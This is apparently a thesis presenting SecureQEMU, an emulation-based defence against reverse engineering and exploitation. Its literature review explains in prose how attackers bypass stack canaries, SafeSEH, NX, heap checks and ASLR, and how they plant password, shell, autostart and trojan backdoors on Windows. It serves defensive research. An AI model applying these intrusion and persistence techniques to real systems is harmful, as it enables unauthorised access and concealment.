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Abstract
This research presents an original emulation-based software protection scheme
providing protection from reverse code engineering (RCE) and software exploitation
using encrypted code execution and page-granularity code signing, respectively. Pro-
tection mechanisms execute in trusted emulators while remaining out-of-band of un-
trusted systems being emulated. This protection scheme is called SecureQEMU and
is based on a modified version of Quick Emulator (QEMU) [5].
RCE is a process that uncovers the internal workings of a program. It is used
during vulnerability and intellectual property (IP) discovery. To protect from RCE
program code may have anti-disassembly, anti-debugging, and obfuscation techniques
incorporated. These techniques slow the process of RCE, however, once defeated
protected code is still comprehensible. Encryption provides static code protection,
but encrypted code must be decrypted before execution. SecureQEMUs’ scheme
overcomes this limitation by keeping code encrypted during execution.
Software exploitation is a process that leverages design and implementation er-
rors to cause unintended behavior which may result in security policy violations. Tra-
ditional exploitation protection mechanisms provide a blacklist approach to software
protection. Specially crafted exploit payloads bypass these protection mechanisms.
SecureQEMU provides a whitelist approach to software protection by executing signed
code exclusively. Unsigned malicious code (exploits, backdoors, rootkits, etc.) remain
unexecuted, therefore, protecting the system.
SecureQEMUs’ cache mechanisms increase performance by 0.9% to 1.8% rela-
tive to QEMU. Emulation overhead for SecureQEMU varies from 1400% to 2100%
with respect to native performance. SecureQEMUs’ performance increase is negli-
gible with respect to emulation overhead. Dependent on risk management strategy,
SecureQEMU’s protection benefits may outweigh emulation overhead.
iv
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I. Introduction
1.1 Research Domain
Computer software is everywhere. It runs our cars, our cell phones, our televi-
sions, and of course, our personal computers. In 2007 the United States Environmental
Protection Agency (EPA) estimated Americans own three billion electronic devices.
Many of these devices run software, and almost without knowing it, our lives have
become dependent on them.
Along with any dependency comes vulnerability and software is no exception.
What if cell phones, vehicles, or televisions no longer worked? How would someone
get to work or pay their bills? How would they buy food? Computer software has
increased societies standard of living with respect to communication and convenience.
This alone warrants software security, however, a much greater need exists.
Besides our personal lives, our national security depends on computer software.
Power grids, financial systems, airlines, and virtually every defense system uses soft-
ware. What if these systems were attacked? What would happen if today’s stock
market crashed? What if bank accounts were erased and unrecoverable? What if
our adversaries could control our defense systems? There are many scenarios where
an attack on computer software would result in severe loss for the country. Software
security crosses all military physical domains; land, sea, air and space.1 As a result,
this research affects each of these domains.
1A fifth domain, the electromagnetic spectrum, encompasses cyberspace.
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Figure 1.1: Vulnerabilities Cataloged by CERT/CC
1.2 Problem Statement
Gary McGraw, an expert in software security, attributes the growth and evolu-
tion of software to connectivity, extensibility and complexity [30]. These characteris-
tics of software often result in design and implementation errors which are vulnerable
to attack. In turn, these software vulnerabilities result in the development of mali-
cious code (malware) such as worms, viruses, backdoors and rootkits to exploit these
vulnerabilities. Figure 1.1 shows the number of vulnerabilities reported each year by
the Computer Emergency Response Team (CERT). Clearly, there is an upward trend
in the number of vulnerabilities reported each year.2
Connectivity provides the ability to attack systems independent of geographical
location. The internet provides connectivity to our banks and airline systems. Our
power grids have become interconnected using supervisory control and data aquisition
(SCADA) systems. Our business models have evolved to use online web services,
such as email, instant messaging, and advertising. An increase in system connectivity
results in an increase in exposure, and thus, an increase in attack surface.
2This figure only includes vulnerabilities that have been reported.
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Figure 1.2: Complexity of Windows Operating Systems
Connectivity exists in both virtual and physical domains. A virtually closed
system (local connectivity only) is not a secure system since access to the systems’
physical hardware could result in a compromise. Furthermore, an attacker could gain
access to a closed system through blackmailing or impersonating a legitimate user of
the system.
Extensibility is another major factor when securing computer software. In com-
puter software, extensibility is a design principal which incorporates the ability for
software to grow. Software is developed to fill a need, but that need is constantly
changing. Even major operating systems (e.g., Windows, Linux, Mach and BSD)
were designed so they could be updated. New versions of operating systems are con-
stantly being released which adds new vulnerabilities. It is not possible for a system
to determine if an update or extension is malicious even with cryptographic signing.
Complexity is the third major factor in software security. Software complexity is
often measured in lines of code. Thus, the more lines of code, the more vulnerabilities
that exist. Microsoft’s Windows Vista alone consists of fifty million lines of code.
Figure 1.2 shows the complexity, in lines of code, of the Windows operating systems.
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Even if every vulerability within Windows was discovered and removed, there would
still be applications and device drivers which contain errors vulnerable to attack.
Connectivity, extensibility and complexity make it difficult to design and imple-
ment secure software. As a result, detection and protection technologies have been
developed, but are ineffective in preventing all vulnerabilities within a software en-
vironment. As long as software vulnerabilities can be exploited, so will the need to
develop improved software security solutions.
1.3 Research Goals
The Air Force and Department of Defense (DoD) are tasked with providing
security for systems that protect national security. Even though software protec-
tion technologies have been developed, existing solutions are inadequate. Traditional
software protections (i.e., anti-debugging, anti-disassembly, obfuscation, and anti-
exploitation) slow the frequency of attack, however, these protections are defeatable.
Therefore, the goal of this research is to improve the state of software security for Air
Force and DoD systems.
A sound computer security practice is to follow a defense in depth strategy. De-
fense in depth is a layering tactic, conceived by the National Security Agency (NSA),
as a comprehensive approach to electronic security [37]. With respect to technology,
defense in depth focuses on defending the network infrastructure, enclave boundaries3,
and computing environments. This research focuses on defending Windows and Linux
computing environments.
After defining software attacks from a technical perspective, novel software pro-
tection mechanisms providing code-specific confidentiality and separation of privilege
to execute code is researched. The initial approach is to move protection mechanisms
out-of-band of untrusted computing environments using emulation or virtualization
technology. This approach isolates attackers within untrusted environments, thus,
3Examples of enclave boundaries are deploying firewalls and instrusion detection systems to resist
active network attacks.
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preventing attack on the protection mechanisms. Finally, software protection schemes
will be implemented and benchmarked for performance overhead and user impact.
1.4 Document Outline
Chapter II describes attacks on computer software through exploits, backdoors
and rootkits. These three attacks account for the initial compromise, long term
presence, and stealth capabilities attackers use within an end system. Chapter III
describes a new emulation-based approach to software security, named SecureQEMU,
which sandboxes an attacker while keeping protection mechanisms out-of-band. Emulation-
based exploitation prevention as well as code-specific confidentiality is discussed.
Chapter IV benchmarks the performance of SecureQEMU. Chapter V discusses ac-
complishments of this research, future extensions to SecureQEMU, and the direction
software security should be heading.
5
II. Literature Review
T
HIS chapter provides an overview of exploits, backdoors and rootkits within
the Windows1 Family of Operating Systems (OS). The first section explains
how to exploit software vulnerabilities to gain initial access to a computer system. The
second section explains how to maintain long-term access though the use backdoors.
The third section provides an overview of rootkits to hide backdoors within a system.
2.1 Introduction to Software Exploitation
Computer software contains unintentional programming errors. These program-
ming errors are often referred to as bugs. Some types of programming errors can be
exploited by an attacker and result in a denial of service or arbitrary unintentional
code execution. If it is possible for an attacker to leverage a programming error,
that programming error is also a software vulnerability. Common programming er-
rors include buffer overflows, integer overflows, input-driven format strings and race
conditions. There are others, but are less susceptible to exploitation.
There are many reasons for software vulnerabilities. Several reoccurring expla-
nations are improper or no input validation, use of insecure libraries, improper use
of secure libraries, and poor testing practices. As a result, software containing ex-
ploitable programming errors is released to the public. Although there are techniques
to discover software vulnerabilities, most users do not know if software is vulnerable.
To prevent attackers from leveraging software vulnerabilities, Software Exploita-
tion Prevention Technologies (SEPT) are devised. Vulnerabilities are often catego-
rized as denial of service (DoS) vulnerabilities or arbitrary code execution vulnerabil-
ities. If a software vulnerability prevents or terminates an applications execution, it is
categorized as a DoS. SEPT attempt to prevent an attacker from executing arbitrary
code and thus do not prevent DoS attacks. For that reason, this section explains how
to overcome SEPT and instead write arbitrary code execution exploits. The following
1NT, 2000, XP, 2003, Vista, 2008
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first two sections review software vulnerabilities and software exploitation. The third
section is divided into SEPT techniques and how to overcome each.
2.1.1 Software Vulnerabilities. Three well understood software bugs are
buffer overflows, integer overflows and input-driven format strings. All three usually
result in overwriting memory the programmer did not intend to be overwritten. After
an attacker discovers one of the above bugs, the use of the overwritten memory within
the application must be assessed to verify if that bug is potentially exploitable. Any
software bug which modifies a pointer (e.g., return addresses, base pointers, function
pointers, data pointers, exception handlers, etc.) may be vulnerable to exploitation.
2.1.1.1 Buffer Overflows. The memory a computer uses is finite and
usually shared. Therefore, fixed size blocks of memory are allocated for different
purposes within different applications. The size of each block of memory is usually
measured in bytes. For example, a block of memory may be used to store a user’s
email address. If a programmer made the assumption that the length of every email
address will be less than 100 bytes, then, 100 bytes of memory may always be allocated
to store that same email address. If the application does not check the size of an
email address longer than 100 bytes (or checks the size incorrectly) an email address
greater than 100 bytes would overwrite (corrupt) the memory adjacent to the 100 byte
block. It is very important to understand how the overwritten memory is used by the
application during exploit development, because it is memory the buffer overwrites
that determines if the overflow may be leveraged to control execution flow [27].
The memory allocated for buffers, as well as other variables, is usually located
within the .data, .bss, stack or heap sections. The data section is used for any
global or statically initialized variables a programmer declares. The .bss section is
used for global and statically uninitialized variables a programmer uses. The stack
section is used for storing function arguments, return addresses, base (frame) pointers,
local variables, exception handlers, saved registers, and any other data the compiler
or programmer implements. The heap sections are used for dynamically allocated
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memory. When a programmer uses the malloc(), GlobalAlloc(), HeapAlloc() or new
operator memory is being requested from the heap.
2.1.2 Exploitation. The section a buffer overflow occurs in helps determine
the success of exploitability. Consider a case where the buffer is located on a stack.
A stack grows from higher memory addresses to lower memory addresses. If SEPT
is not being used, the attacker can overwrite the return address on the stack with
the address of an arbitrary buffer. If the address of the buffer is not predictable and
the address of the buffer is always stored in a register, an attacker may return to
an instruction that jumps to the address of that register [10, 42]. This technique is
known as trampolining. In both the above scenarios the attacker redirects the flow of
execution to the overflowed buffer. An attacker wants to return execution to the same
buffer that overwrote the return address since the buffer, usually attacker controlled,
may have had arbitrary code placed in the buffer in addition to other data.
Intel Architecture (IA) is the most widely used architecture in the world. IA
is generally classified as a type of Von Neumann Architecture (VNA). VNA uses a
single memory unit for code (instructions) and data. The Central Processing Unit
(CPU) doesn’t differentiate between code and data. Whatever the EIP (instruction
pointer) register points to is executed by the CPU.
For example, the ASCII letter A, in binary, is the eight bits, 01000001, and
the instruction INC ECX is the exact same sequence of bits. Therefore an attackers
input, although viewed semantically as data, may be code the attacker intends to
execute. A very common type of code supplied within a buffer is known as shellcode.
Shellcode is code that creates a command shell, redirects IO from that shell to a
socket, and either listens for incoming connections or connects back to the attacker.
Shellcode allows an attacker to execute commands on a victims’ computer from a
remote location as if the attacker was sitting at that computer. Shellcode, and other
codes can be created entirely from alphanumeric characters.
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2.1.3 Exploit Prevention Technologies. Several protection technologies at-
tempt to prevent the buffer overflow scenario above. These technologies were created
such that if a programming error is discovered, it is difficult for an attacker to leverage
that error to gain control of the flow of execution. Table 2.1 provides an overview
of traditional protection mechanisms and associated attack vectors. The following
sections describe commonly used protection technologies and how to overcome each
technology in favor of exploitation.
Table 2.1: Software Exploitation Protection Mechanisms and Attack Vectors
Memory Section Protection Mechanism Attack Vector
Stack Canaries (i.e., Random Cookies) Local Variables
Stack Variable Re-ordering Function Arguments
Stack Shadow Arguments Exception Handlers
Stack SafeSEH Disabled SafeSEH Module, Heap Spraying
Arbitrary Non-executable Pages Return-into-code
Heap Link Pointer Sanity Checking User-defined Heaps, Valid Sanity Check, Lookaside-list
Heap Random Cookie Bute force small cookies, Lookaside-list
Arbitrary ASLR Disabled ASLR Module, Partial Overwrite, Heap Spraying
2.1.3.1 Stack Canaries. To protect from stack-based overflows, a four
byte canary (also called a cookie) is stored between a function’s local variables and
the base pointer [8, 28]. If the vulnerable module was compiled using Frame Pointer
Omission (FPO) optimization, the canary will be located between the local variables
and the return address. In both cases the return address is referred to as protected.
The value of a canary is computed when a module is initially loaded. Windows usually
computes the value of the cookie by exclusive-ORing the system time and date, the
current process ID, the current thread ID, the timer’s tick count, and the value of the
high-resolution performance counter. The protection assumes that the attacker will
be unable to determine the result of the above computation. The canary is stored in
the modules data section.
Consider the previous buffer overflow example with added stack canary protec-
tion. When the vulnerable function (where the buffer overflow resides) needs to be
called, the caller will first push any arguments needed onto the stack. The caller
should abide by the function’s calling convention. After all the arguments are pushed
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onto the stack, the caller executes the CALL instruction. The call instruction pushes
the address of the next instruction to be executed (located immediately after the
CALL instruction) onto the stack. This is the return address for the function being
called. The CALL instruction then modifies the EIP register to the address specified
in its operand which is the beginning of the called function.
The called function pushes EBP (saving the base pointer) onto the stack and
moves ESP (the stack pointer) into EBP. This process creates a new stack frame
for the called function. The pre-computed canary is then pushed onto the stack.
Finally, any local variables (such as the buffer overflow) are elaborated on the stack
by subtracting ESP by the number of bytes of local variables the function declares.
Before the previous stack frame is restored, and therefore before the function return,
the canary is compared with the global canary in the data section. If the canaries do
not match, a message box to the user is displayed indicating that a buffer overflow
has occurred. After the user clicks OK the process is terminated.
Thus, an attacker is prevented from using the frame pointer or the return address
to modify the flow of execution. However, the attacker is still able to induce a denial
of service because the process terminates. The following section will explain how to
bypass the stack canary protection by leveraging stack data besides the saved frame
pointer and return address.
2.1.3.2 Bypassing Stack Canaries. There are several application spe-
cific techniques to bypass stack canaries. The first thing an attacker should look at
is the ordering of the local variables in the vulnerable function. If the buffer being
overflowed is located lower in memory than other local variables, several opportunities
may exist for an attacker if the local variables being overflowed are function pointers.
If the attacker can overflow a local function pointer before the canary is checked,
the attacker controls the flow of execution. Similarly, if an attacker can overflow a
local data pointer and the function writes to that data pointer after the overflow but
before the canary is checked, the attacker can change the data pointer to point to the
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global canary and modify it to a predictable value. Then the attacker can overflow
the canary on the stack and the return address as before. This time the canary check
passes, since both the stack and global canary were modified to the same value, and
the function returns to the address supplied by the attacker.
Some compilers prevent the above attack by re-ordering a function’s local vari-
ables so that any buffer elaborated on the stack is higher in memory than any of
its other local variables. If so, an attacker can overwrite pointers as function argu-
ments. If a function pointer is an argument and the function pointer is used after the
overflow but before the canary is checked, the attacker can again control the flow of
execution. This is similar to the previous scenario, however, function arguments are
usually stored higher in memory than our local buffer being overflowed. Similarly, if
a data pointer, as a function argument, can be overflowed and the function writing
to that pointer after the overflow and before the canary is checked, the global canary
can be modified as in the previous example.
Some compilers prevent leveraging overflowed arguments by copying the argu-
ments to local variables, lower in memory than any elaborated buffers. If this is
the case, there may be exception pointers on the stack to overflow. If an exception
handler is overflowed and induces an exception (after the overflow and before the
canary is checked), the overflowed exception handler can be called and execution flow
controlled [28].
2.1.3.3 Safe Structured Exception Handling. Safe Structured Excep-
tion Handling (SafeSEH) was developed to prevent leveraging an overflowed exception
handler to bypass stack canary protection. When an exception occurs, Windows fol-
lows the chain of exception registration structures on the stack calling each exception
handler. An exception handler can either handle the exception and continue execu-
tion or pass the exception on to the next handler. If none of the exception handlers
handle the exception then the unfiltered exception filter (UEF) is called resulting in
the application being terminated.
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If a module was compiled using SafeSEH, a Safe Exception Handler Table
(SEHT) is created for that module. A pointer to a module’s SEHT is stored in
the Load Configuration Directory (LCD) of the module. Before an exception han-
dler is called, the OS checks if the exception handler is in the SEHT. If the handler
registers in the table, then the handler is called, otherwise the process terminates.
2.1.3.4 Bypassing SafeSEH. With particular OS’s and service packs
an attacker can still leverage an exception handler to control the flow of execution
when SafeSEH is compiled into the vulnerable module. If an exception handler is not
registered but the handler points to an address outside the address range of every
loaded module, points to a module with SafeSEH disabled, or points to an address in
a heap section then that exception handler will still be called [28].
If an attacker controls data in a heap section and can reliably point the exception
handler to this data, and cause an exception, execution flow may be controlled. The
attacker needs to determine the memory allocation patterns of the application to
predict the address of the controlled data at runtime. The attacker may spray the
heap with large buffers to increase the probability of returning into code the attacker
supplies. If the vulnerable application contains a module with SafeSEH disabled then
an attacker can return into code, within that module, which jumps back into the
overflowed buffer. Finally, if there is an executable page outside the address range of
every loaded module which can be used to jump back into the overflowed buffer or
some other user controlled data, execution flow can be controlled. Every method to
bypass SafeSEH above should be tested with respect to the vulnerable application and
the operating system it is running on to determine if a specific technique is possible.
2.1.3.5 Non-Executable Pages. In the above scenarios, an attacker
is trying to execute code supplied through a buffer that is either on the stack, in a
heap section or some other data section. All these sections consist of writable pages
in memory. Code, such as a .text section, doesn’t usually need to be writable, and
writable sections usually only contain data. When both of the above conditions are
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true non-executable (NX) page protection may be used. NX protection marks every
page table entry as non-executable. This type of protection makes executing arbitrary
code more difficult for the attacker. Even if the attacker can bypass the stack canary
and the SafeSEH protection and jump back into their code on the stack, heap or data
section, their code will still not execute since it is located in a non-executable page.
The processor will execute an exception. However, NX cannot always be used because
the application might normally execute code from writable pages or the processor may
not support NX.
2.1.3.6 Bypassing Non-Executable Pages. Under certain conditions
the attacker doesn’t need to execute user supplied code. There already is code in
the application that gets executed under normal execution. The attacker may choose
to execute code that already exists in the application instead. This type of attack
is known as return-into-libc, but has many other names all beginning with return-
into [17]. The idea is an attacker executes code already in the applications address
space and therefore doesn’t need to supply any. Multiple return addresses are chained
together on the stack to execute small pieces of assembly code. Together these pieces
of code execute the code the attacker intended. This is legal in a NX protected
address space because return addresses are data not code. Using chained return-into-
code techniques the attacker can create a socket, a shell, and redirect IO from the
socket to the shell to gain unauthorized remote access as in our previous example.
2.1.3.7 Heap Protection. Heap overflows are as common as stack
overflows but are more difficult to exploit. It is a common misconception that if the
programmer allocates every buffer on a heap then the application is protected from
buffer overflow exploits.
Every process has at least one default heap. In Windows, many heaps consists
of 128 freelists and 128 lookaside (or low fragmentation) lists. The 128 freelists are
doubly linked lists while the lookaside lists are singly linked lists of blocks. Every
block allocated on the heap has an associated header. Every freelist block’s header
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contains the size of the block, forward and backward link pointers and other metadata.
If the attacker can predict the memory allocation patterns of the application and
overflow the forward and backward link pointers of an adjacent blocks header then
indirect execution control is possible. When the memory manager uses the overwritten
pointers the attacker may be able to write to a function pointer and control the flow
of execution. This is known as a four-to-four byte write because the attacker controls
both of the four bytes written to a controlled four byte address. This attack is possible
on Windows XP SP1 and earlier version heaps as well as many programmer-defined
heaps.
On Windows XP SP2 and later, two protection mechanisms prevent the above
heap exploitation vectors. The first is link pointer sanity checking which occurs when
a block is removed from the freelist. Windows follows the forward link to the next
block header and checks to see if it points back into the block being freed. Similarly,
the backward link is followed to see if the previous header’s forward link points to
the header of the block being freed. If either test fails the process is terminated. The
second protection provided is a one byte cookie integrity check. Upon block freeing,
a one byte cookie is modified so the application assumes the heap is corrupted and
the process is terminated.
2.1.3.8 Bypassing Heap Protection. The heap protection described
above only occurs when a block is removed from a freelist. Therefore, if the forward
and backward links are used before the block is freed an attacker still may be able
to leverage the overwritten pointers to control the flow of execution. An attacker
may also be able to overflow a function pointer in another block such as a VTABLE
(stored class virtual functions). If the function pointer is used before the block is
freed, execution flow can be controlled. Currently there is no pointer sanity checking
or cookie integrity check for the lookaside lists. Thus, if a block’s forward link on the
lookaside list is overflowed, execution flow can be controlled [2].
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In some cases, a lookaside list overwrite is controllable. The attacker first needs
to find a lookaside list that the application isn’t using. The head of the lookside
list will then be null. The attacker allocates and frees two adjacent blocks of the
same size in the empty lookaside list. The attacker will need to study the memory
allocation patterns within the vulnerable application to determine if this is possible.
If so, an attacker allocates a third block of the same size where the overflow will occur.
The overflow clobbers the forward link in the adjacent block that is still left on the
lookaside list. The fourth allocation moves the overwritten forward link to the head
of the lookaside list. Finally, the fifth allocation of the same size block returns an
attacker controlled address. The attacker then writes to any address with a buffer
usually controlled by the attacker. This is known as a four-to-N byte write.
2.1.3.9 Address Space Layout Randomization. Address Space Layout
Randomization (ASLR) is based on the assumption an attacker needs to know one
or more addresses to control execution. For example, an attacker in the stack-based
buffer overflow example above needed to either know the address of the buffer to
return into or the address of a jump instruction to return back into the buffer. If
every module in the address space is loaded at an unpredictable location then it is
more difficult for the attacker to execute specific code because are at unpredictable
locations in memory.
2.1.3.10 Bypassing ASLR. Modules are not always loaded at an un-
predictable location in the address space. If a module has ASLR disabled, an attacker
may be able to trampoline out of that module to execute arbitrary code [29]. Further-
more, the attacker may be able to modify the two low-order bytes without modifying
the two high-order bytes of a pointer (such as a return address or exception handler).
In this case the base address of the module wouldn’t need to be predictable and
doesn’t need to be modified by the attacker. The attacker controls the offset within a
specific module. Modifying the two low-order bytes is possible using a buffer overflow
on little-endian architecture where addresses are stored in reverse byte order.
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2.1.4 Summary. Throughout this section the most common software ex-
ploitation protection technologies is reviewed. Currently, there are no protection
technologies which protects against all attacks. There are exceptions within each
protection which may be leveraged by the attacker with respect to specific vulnera-
bilities. As new protection technologies are created, attackers will continue to find
clever techniques to overcome them. The following sections discuss how attackers
install backdoors and rootkits to maintain presence within a compromised system.
2.2 Introduction to Backdoors
Backdoors provide unauthorized access to a computer system. Alternate defini-
tions include; secret way to get access to a computer system [16], and a mechanism
surreptitiously introduced into a computer system to facilitate unauthorized access
to the system. [46].
The term rootkit is often used within the context of backdoors. Although rootk-
its and backdoors are usually implemented as one program, there is a distinction.
Backdoors provide access while rootkits provide stealth. Throughout this section an
attacker is defined as a person or program controlling a backdoor, while an adminis-
trator is defined as a person or program trying to detect and remove backdoors.
2.2.1 Backdoor Passwords. There are many forms of backdoors within
computer systems. One of the simplest is a secret password. Backdoor passwords
(aka., secret or hidden passwords) are passwords that administrators are unaware
exist but which allow access to a computer system.
An attacker could implement a backdoor password by adding a password to a
set of stored passwords or modifying the mechanisms that act upon said passwords. In
Windows, an attacker could add a user account and password to the Security Accounts
Manager (SAM) Database (DB) or modify MsvpPasswordValidate() in msv1 0.dll as
shown in Figure 2.1. The code in Figure 2.1 calls RtlCompareMemory() passing the
Message Digest 5 (MD5) hash of a user-defined password (stored in unicode) and the
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Figure 2.1: Windows Msv1 0.dll - Backdoor Password
actual hashed password from the SAM DB. If this call does not return 0x10 (MD5
hashes are 16 bytes), the passwords are not equal and control is transferred to basic
block 0x77C8CF97. Basic block 0x77C8CF97 calls RtlCompareMemory() passing the
same user-defined hash and a hardcoded MD5 hash (the backdoor password) stored at
address 0x77C8CFB5. Access is granted if either call to RtlCompareMemory() returns
0x10.
Simply adding a user name and password to a SAM DB is easily detectable by
the administrator of that system. The administrator of the system or even a normal
user may notice the account if that account is not hidden by a rootkit. Instead,
modification of the mechanism that acts upon the SAM DB is more likely to go
unnoticed by an administrator.
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Although modifying msv1 0.dll is less detectable than adding a password to the
SAM DB, differential analysis between a trusted2 msv1 0.dll and the msv1 0.dll in
question would reveal the presence of the backdoor. A common differential technique
to check the file integrity compares a cryptographic hash of a file with a known good
hash of the file. Furthermore, Binary Differential Analysis (BDA) may show what
code has been deleted, modified or added to the file. If the administrator of the
system knows what the backdoor does, in this case adding an account to the system,
the attacker can be detected by simply monitoring the backdoor account for activity.
2.2.2 Standalone Backdoors. Many backdoors provide a command and
control capability through a shell. A shell is a command processor of the operating
system. Windows has two shells; cmd.exe and command.com. Either shell may be
used to execute commands on a local console or from a remote system. Attackers can
also implement their own shells to provide advanced functionality and avoid detection
[48]. Metasploit’s Meterpreter is a custom command shell which can be used as a
backdoor [34]. The following sections provide an overview of the three most common
types of backdoors, techniques to automatically execute standalone backdoors, and
simple OS specific features to hide backdoors within a system.
2.2.2.1 Listening Shell Backdoors. Listening shells are among the
most basic types of backdoors. They allow attackers to remotely execute commands as
if they were physically on the system. Windows shells direct standard input (STDIN)
from the keyboard while standard error (STDERR) and standard output (STDOUT)
are directed to a console. Windows allows not only STDIN, STDOUT and STDERR
to be redirected, but many other types of streams as well. Listening shells typically
redirect STDIN, STDOUT and STDERR to a socket created by the backdoor or a
socket already in use. The backdoor listens on that socket for incoming connections
from an attacker. Listening shell backdoors typically communicate using the User
2Data or code is said to be trusted if it is known to be uninfected.
18
Datagram Protocol (UDP) or the Transmission Control Protocol (TCP). When the
attacker connects to the backdoor they can execute commands as if on the system
locally. Appendices A.1 and A.2 are examples of TCP and UDP listening shell back-
doors respectively.
2.2.2.2 Reverse Shell Backdoors. An attacker may be unable to con-
nect to a listening shell backdoor if, for example, the backdoored system is behind
a firewall. If the firewall is blocking connections to that port, the attacker won’t be
able to connect to his or her backdoor. In this case the attacker may choose to install
a reverse shell backdoor (aka., call-home backdoors).
Reverse shell backdoors redirect STDIN, STDOUT and STDERR to a backdoor
created socket, however, the backdoor initiates the connection with the attacker.
Reverse shell backdoors are effective when firewalls don’t block outbound connections.
In many cases firewalls block incoming connections while outgoing connections are
assumed to be legitimate. Furthermore, legitimate users are able to connect through
a firewall. Backdoors sometimes tunnel or hide within existing traffic. Appendices
A.3 and A.4 contain examples of call-home backdoors.
2.2.2.3 Download and Execute Backdoors. The third commonly used
backdoor is a download and execute backdoor. This type of backdoor downloads
code, usually as an exectuable or Dll file and executes it. There are several different
ways to download and execute a file. On Windows, a common technique is to use the
URLDownloadToFile Win32 API function.
Calling a function to download a file produces a small code signature which
is difficult to detect. Furthermore, since most systems generate a large amount of
Hypertext Transfer Protocol (HTTP) traffic, it is difficult to distinguish between
browser generated HTTP traffic and the backdoor. To make detection even more
difficult, URLDownloadToFile supports Secure Socket Layer (SSL) which encrypts
the downloaded file and communications with the attacker.
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Encrypting backdoor communication with SSL levies a cost on the attacker.
The attacker either needs a Certificate Authority3 (CA) to sign the backdoor’s Public
Key Certificate (PKC), or a Self-Signed Certificate (SSC) must be generated. A PKC
signed by a CA may identify an attacker.
Furthermore, a SSC needs to be installed as a trusted certificate on the sytem
when the backdoor is installed and this generates noise which may alert the admin-
istrator the system is compromised. Some of the techniques in Section 2.3 can hide
the certificate in the system as well as the backdoor.
2.2.3 Exploits vs. Backdoors. Some types of backdoors use techniques very
similar to those used in exploits [23, 3, 19, 11, 12]. For example, an exploit that takes
advantage of a buffer overflow vulnerability usually includes code within its payload
very similar to listening, call-home, and download and execute backdoors. This code
is known as shellcode [23,3].
Although backdoors and shellcode use similar designs there are two distinc-
tive differences. The first is exploits leverage software vulnerabilities such as buffer
overflows and user-defined format strings to execute code, while backdoors leverage
existing code or data on the system.4 Another difference is exploits provide initial
access to a system while backdoors provide post-exploitation access to that same sys-
tem. In some cases the backdoor itself may be used during the initial compromise
of the system such as when a Social Engineering (SE) attack gets a user to run a
malicious executable.
The second difference between exploits and backdoors is exploits usually execute
their payloads once, while backdoors typically execute multiple times. If the payload
for an exploit was a reverse shell, only one shell and one connection is initiated.
A backdoor could have multple shells on multiple connections or choose to close a
connection with the compromised computer and later reconnect.
3The CA needs to be a trusted root CA pre-installed on the backdoored system.
4Depending on the backdoors executing ring level.
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2.2.4 Persistent vs. Nonpersistent Backdoors. The difference between ex-
ploits and backdoors should not be confused with the difference between persistent
and non-persistent backdoors. Persistence is the ability of a backdoor to survive a
system reboot or shutdown. A backdoor is persistent if it can operate after a system
restart. Non-persistent backdoors, also known as memory-based backdoors, execute
entirely from memory and never transfer to a hard drive or other non-volitile periph-
eral device. On most hardware architectures memory is volatile. Therefore, after
volatile memory loses power, and the backdoor (along with everything else in mem-
ory) is erased5. Persistent backdoors provide long term access to a system even after
a system restart. The implementation of persistent backdoors may be standalone
modules as discussed throughout Section 2.2.2, or trojan existing modules. Trojan
modules are discussed in Section 2.2.5.
2.2.4.1 Automatic Startup Locations. Backdoors are intended to ex-
ecute without the awareness of the system’s administrator and Windows OS has
specific features to execute persistent standalone backdoors without user interaction.
A common technique adds the backdoor to a registry key which specifies what should
be executed when a user logs in. Appendix B.1 lists the common registry keys used
to startup a backdoor.
Many configuration and batch files execute during system startup. An attacker
may add a command to one or more of these files to execute a backdoor. Appendix
B.2 lists the commonly used configuration files. There is also a startup folder for
every user on the system along with an All Users startup folder. Every executable or
link in the startup folder is executed when a user logs into the system.
2.2.4.2 Hiding Standalone Backdoors. Standalone backdoors, being
implemented as standalone files, create detectable noise in the system. Since the use-
fulness of a backdoor depends on its secrecy, the attacker needs to hide the backdoor’s
5Techniques such as cold booting [15] may be used to recover memory after a system shutdown.
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file along with any side effects of the backdoor. There are two Windows OS specific
features an attacker may use to hide a standalone backdoor. Hiding backdoors using
rootkits is discussed in Section 2.3.
The first feature sets the backdoor’s hidden file attribute. Thus, the file will
only show up if the administrator enables showing hidden files. The second technique
hides a backdoor in a file stream on a New Technology File System (NTFS). Although
there are many file stream types where an attacker may hide a backdoor, the Alternate
Data Stream (ADS) is typically used to hide backdoors.6
Hidden files and file streams are mentioned only for completeness and are not
a reliable technique to hide a backdoor. Modifying registry keys is also unreliable
and easily detected by an administrator. A more sophisticated attacker will hide a
backdoor registry key using one of the rootkit techniques discussed in Section 2.3. If
an attacker modifies a configuration file, batch file, or startup directory, a rootkit will
be needed to hide those modifications as well.
2.2.5 Trojan Backdoors. A drawback to every standalone backdoor is it
needs a rootkit to hide its presence within the system. A rootkit to hide a backdoor
is ineffective if the file system is mounted and integrity checked on an unrooted OS.
Furthermore, standalone backdoors execute as independent processes which creates
alot of data structures in the kernel detectable to any administrator monitoring those
structures. Furthermore, the rootkit techniques themselves, discussed in Section 2.3,
may be detected [38,46,18,26,25,44].
Trojan backdoors modify existing modules (executables, Dlls, etc.) such that
the backdoor’s code is executed along with the original intended code. There are
several ways to trojan a module. An attacker could add another executable section
with backdoor code and modify the entry-point (EP) of the application to point to
the new code section. After the backdoor code executes, execution jumps back to the
original entry-point (OEP).
6Along with backdoors ADS’s may be used to hide any other data.
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The attacker could also use entry-point obscuring (EPO) by modifying the first
few bytes of the EP to jump to backdoor code which may be added to executable
slack space or another section. Slack space is common in Portable Executable (PE)
file formats because of file and section alignment requirements. There may also be
unused memory between functions which may be jump-chained together to execute
backdoor code.
Code Integration (CI) [43] merges backdoor code within the original code with-
out needing to recompile or relink the binary which makes it very difficult to differ-
entiate between the original code and backdoor code. Theorectically, backdoor code
may be anywhere in a module as long as the code is loaded into an executable page
at runtime and the flow of execution is modified to execute it. CI is discussed more
in Section 2.3.3.3.
2.2.6 Library Backdoors. Library Backdoors can be standalone Dynamic
Link Libraries (Dll) or trojan existing libraries. Windows applications depend on
many different Dlls to execute. These Dlls are seperate files from an application’s
primary executable and are loaded into an application many different ways. This
section discusses four ways to introduce a backdoor library into an existing application.
2.2.6.1 AppInit Dll Registry Key. The Windows AppInit Dll registry
key7 can load and execute a backdoor library. Upon process creation, Windows loads
every module specified in the AppInit Dll registry key into every processes address
space. When the library is loaded, the backdoor code executes. Since the AppInit Dll
registry key is a known technique for loading modules into every processes address
space, the attacker will have to use a rootkit to hide the actual value of the key.
2.2.6.2 Dll Injection. Another technique to introduce a library into
another process is through Dll Injection. One way uses the SetWindowHookEx Win32
7The AppInit Dll registry is located at
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows.
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API function. When an attacker tries to hook a thread in another process, an attacker
